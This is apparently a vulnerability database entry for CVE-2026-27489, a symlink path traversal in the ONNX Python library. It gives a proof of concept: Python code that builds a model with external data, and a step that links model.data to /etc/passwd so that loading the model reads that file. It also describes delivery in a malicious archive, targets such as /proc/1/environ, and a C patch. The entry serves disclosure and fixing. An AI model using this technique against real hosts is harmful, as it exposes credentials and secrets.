{"id":"CVE-2026-27489","aliases":["GHSA-3r9x-f23j-gc73","PYSEC-2026-2239"],"url":"https://o3.security/vulnerability/CVE-2026-27489","summary":"ONNX: Path Traversal via Symlink","details":"### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n    X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n    Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n    W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n    matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n    graph = helper.make_graph(\n        nodes=[matmul_node],\n        name=\"SimpleModel\",\n        inputs=[X],\n        outputs=[Y],\n        initializer=[W]\n    )\n\n    model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n    onnx.checker.check_model(model)\n\n    data_file = output_path.replace('.onnx', '.data')\n\n    if os.path.exists(output_path):\n        os.remove(output_path)\n    if os.path.exists(data_file):\n        os.remove(data_file)\n\n    onnx.save_model(\n        model,\n        output_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=os.path.basename(data_file),\n        size_threshold=1024 * 1024\n    )\n\nif __name__ == \"__main__\":\n    create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n    model = onnx.load(model_path)\n    return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n    model = onnx.load(model_path, load_external_data=False)\n    load_external_data_for_model(model, \".\")\n    return model\n\nif __name__ == \"__main__\":\n    model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include <fcntl.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <errno.h>\n\nint open_external_file_no_symlink(const char *base_dir,\n                                  const char *relative_path) {\n    int dirfd = -1;\n    int fd = -1;\n    struct stat st;\n\n    // Open base directory\n    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n    if (dirfd < 0) {\n        return -1;\n    }\n\n    // Open the target relative to base_dir\n    // O_NOFOLLOW => fail if final path component is a symlink\n    fd = openat(dirfd,\n                relative_path,\n                O_RDONLY | O_NOFOLLOW);\n    close(dirfd);\n\n    if (fd < 0) {\n        // ELOOP is the typical error if a symlink is encountered\n        return -1;\n    }\n\n    // Inspect the *opened file*\n    if (fstat(fd, &st) != 0) {\n        close(fd);\n        return -1;\n    }\n\n    // Enforce \"regular file only\"\n    if (!S_ISREG(st.st_mode)) {\n        close(fd);\n        errno = EINVAL;\n        return -1;\n    }\n\n    // fd is now:\n    // - not a symlink\n    // - not a directory\n    // - not a device / FIFO / socket\n    // - race-safe\n    return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368","published":"2026-04-01T17:33:51.281Z","modified":"2026-10-28T10:51:26.459632063Z","cvss":null,"epss":{"score":0.00593,"percentile":0.46766,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"onnx","fixedVersion":"1.21.0"}],"fix":{"url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb","label":"onnx/onnx@4755f80"},"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-27489"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27489.json"},{"type":"ADVISORY","url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453929"},{"type":"FIX","url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"},{"type":"PACKAGE","url":"https://github.com/onnx/onnx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-2239.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T10:51:26.459632063Z"}}